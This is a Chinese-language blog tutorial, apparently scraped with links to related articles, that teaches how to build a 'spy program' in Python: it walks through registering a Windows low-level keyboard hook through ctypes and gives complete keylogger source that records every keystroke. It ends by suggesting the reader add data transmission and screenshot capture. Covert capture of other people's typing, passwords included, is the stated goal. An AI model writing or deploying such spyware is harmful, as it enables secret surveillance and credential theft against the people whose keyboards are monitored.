使用Python打造一款间谍程序
知识点
这次我们使用python来打造一款间谍程序
程序中会用到许多知识点,大致分为四块
win32API 此处可以在MSDN上查看
Python基础重点在cpytes库的使用,使用方法请点击此处
C语言基础
Hook
程序的基本原理在于通过注册Hook,记录系统事件
那么什么是Hook呢
Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递
注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下
user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")
我们导入了user32.dll和kernel32.dll
这两个DLL有什么用处呢
user32.dll 是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息
kernel32.dll 控制着系统的内存管理、数据的输入输出操作和中断处理
流程部分
知道了我们要使用什么样的工具,那么第一步应该怎么做呢
1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子
HHOOK SetWindowsHookExA(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看
通过文档我们看到第一个参数idHook中填入钩子的类型
WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件
第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的
第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄
最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联
代码如下
user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)
如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数
此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为
WINFUNCTYPE 为Windows下独有的,通过使用使用stdcall调用约定的函数
CFUNCTYPE 使用标准C调用约定的函数
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它
LowLevelKeyboardProc数据结构如下
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
按照官方文档提示 如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值
我们转换为Python代码
class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
# 此处插入我们的代码
pass
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除
删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄
user32.UnhookWindowsHookEx(hooked)
下面贴上全部代码
import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll") class KBDLLHOOKSTRUCT(Structure):
_fields_ = [
('vkCode', DWORD),
('scanCode', DWORD),
('flags', DWORD),
('time', DWORD),
('dwExtraInfo', DWORD)] def uninstallHookProc(hooked):
if hooked is None:
return
user32.UnhookWindowsHookEx(hooked)
hooked = None def hookProc(nCode, wParam, lParam):
if nCode < 0:
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
else:
if wParam == 256:
if 162 == lParam.contents.value:
print("Ctrl pressed, call Hook uninstall()")
uninstallHookProc(hooked)
sys.exit(-1)
capsLock = user32.GetKeyState(20)
# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
if lParam.contents.value==13:
print("\n")
elif capsLock:
print(chr(lParam.contents.value),end="")
else:
print(chr(lParam.contents.value+32),end="")
return user32.CallNextHookEx(hooked, nCode, wParam, lParam) def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) def installHookProc(hooked, pointer):
hooked = user32.SetWindowsHookExA(
13,
pointer,
kernel32.GetModuleHandleW(),
0
)
if not hooked:
return False
return True HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
print("Hook installed")
try:
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
except KeyboardInterrupt as kerror:
uninstallHookProc(hooked)
print("Hook uninstall...")
else:
print("Hook installed error")
贴上我们的效果图

我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^
如何想要了解更多的只是请点击这里把 => 地址
转载请附上原文出处链接及本声明
使用Python打造一款间谍程序的更多相关文章
- 使用python打造一款音乐播放器
作者qq:64761294 编程/考试交流群:834531270 欢迎交流 核心播放模块(pygame内核) import time import pygame import easygui as g ...
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(一)
“很多人都不太认可以第三方ORM,因为考虑的点不够全面,没有大用户群体的ORM有保证,这点是不可否认确是事实.但是往往用户群体大的ORM又有不足之处,今天我们就来聊聊关于ORM的话题,打造 ...
- 【ASP.NET程序员福利】打造一款人见人爱的ORM(二)
上一篇我已经给大家介绍AntORM的框架[ASP.NET程序员福利]打造一款人见人爱的ORM(一),今天就来着重介绍一下如何使用这套框架 1>AntORM 所有成员 如果你只想操作一种数据库,可 ...
- 打造一款 刷Java 知识的小程序(二)
学习Java的神器已上线,面向广大Java爱好者! 之前写的一篇:打造一款 刷Java 知识的小程序(一) 一.第二版做了什么? 第一版小程序只具有初级展示功能,知识点都是hardcode在代码里面的 ...
- 教你用python打造WiFiddos
本文来源于i春秋学院,未经允许严禁转载. 0x00 前言因为在百度上很难找到有关于用python打造WiFidos的工具的,而且不希望大家成为一名脚本小子,所以我打算写一篇,需要的工具有scapy,i ...
- 10分钟教你用Python打造微信天气预报机器人
01 前言 最近武汉的天气越来越恶劣了.动不动就下雨,所以,拥有一款好的天气预报工具,对于我们大学生来说,还真是挺重要的了.好了,自己动手,丰衣足食,我们来用Python打造一个天气预报的微信机器人吧 ...
- 如何打造一款五星级的 APP ?
移动互联网大潮来袭!据统计,2015 年平均每天有 1000 个新的应用上架,而这些应用的现状可以说是鱼龙混杂,同是每个人的眼光.品味.意识和利益都不同,因此每人眼中的应用也是不同的.在巨大的市场竞争 ...
- 【python】10分钟教你用python打造贪吃蛇超详细教程
10分钟教你用python打造贪吃蛇超详细教程 在家闲着没妹子约, 刚好最近又学了一下python,听说pygame挺好玩的.今天就在家研究一下, 弄了个贪吃蛇出来.希望大家喜欢. 先看程序效果: 0 ...
- Python flask构建微信小程序订餐系统
第1章 <Python Flask构建微信小程序订餐系统>课程简介 本章内容会带领大家通览整体架构,功能模块,及学习建议.让大家在一个清晰的开发思路下,进行后续的学习.同时领着大家登陆ht ...
随机推荐
- 【Java基础总结】网络编程
网络编程 InetAddress tcp udp
- Scala实践14
1.Scala的future 创建future import scala.concurrent._ import ExecutionContext.Implicits.global object Fu ...
- python爬虫——selenium+firefox使用代理
本文中的知识点: python selenium库安装 firefox geckodriver的下载与安装 selenium+firefox使用代理 进阶学习 搭建开发环境: selenium库 fi ...
- css 脱离文档流
一.float <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset=&quo ...
- 2.Java程序运行机制
1.编译型:compile,把所有东西翻译好,若有更新需要重新全部翻译.执行速度够快,对操作系统要求比较低.开发操作系统时用到编译型语言,例如c/c++...运行时需编译整个程序 2.解释性:运行一个 ...
- Python入门小建议
"java从心"正式更名"KEN DO EVERTHING".Ken(Can) Do Everything,无所不能 Believe youseft then ...
- kuangbin专题专题十一 网络流 POJ 1087 A Plug for UNIX
题目链接:https://vjudge.net/problem/POJ-1087 题目:有n个插座,插座上只有一个插孔,有m个用电器,每个用电器都有插头,它们的插头可以一样, 有k个插孔转化器, a ...
- 19_08_26校内训练[Max]
题意 求$max_{l \leq r}{\{min{\{a_l,a_{l+1},...,a_r\}}*(r-l+1)\}}$ 思考 分治,考虑一个区间跨过某个点的贡献即可. 代码 #include&l ...
- CSS-04-层叠选择器
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- 【WPF学习】第二十五章 日期控件
WPF包含两个日期控件:Calender和DatePicker.这两个控件都被设计为允许用户选择日期. Calendar控件显示日期,在与Windows操作系统中看到的日历(例如,当配置系统日期时看到 ...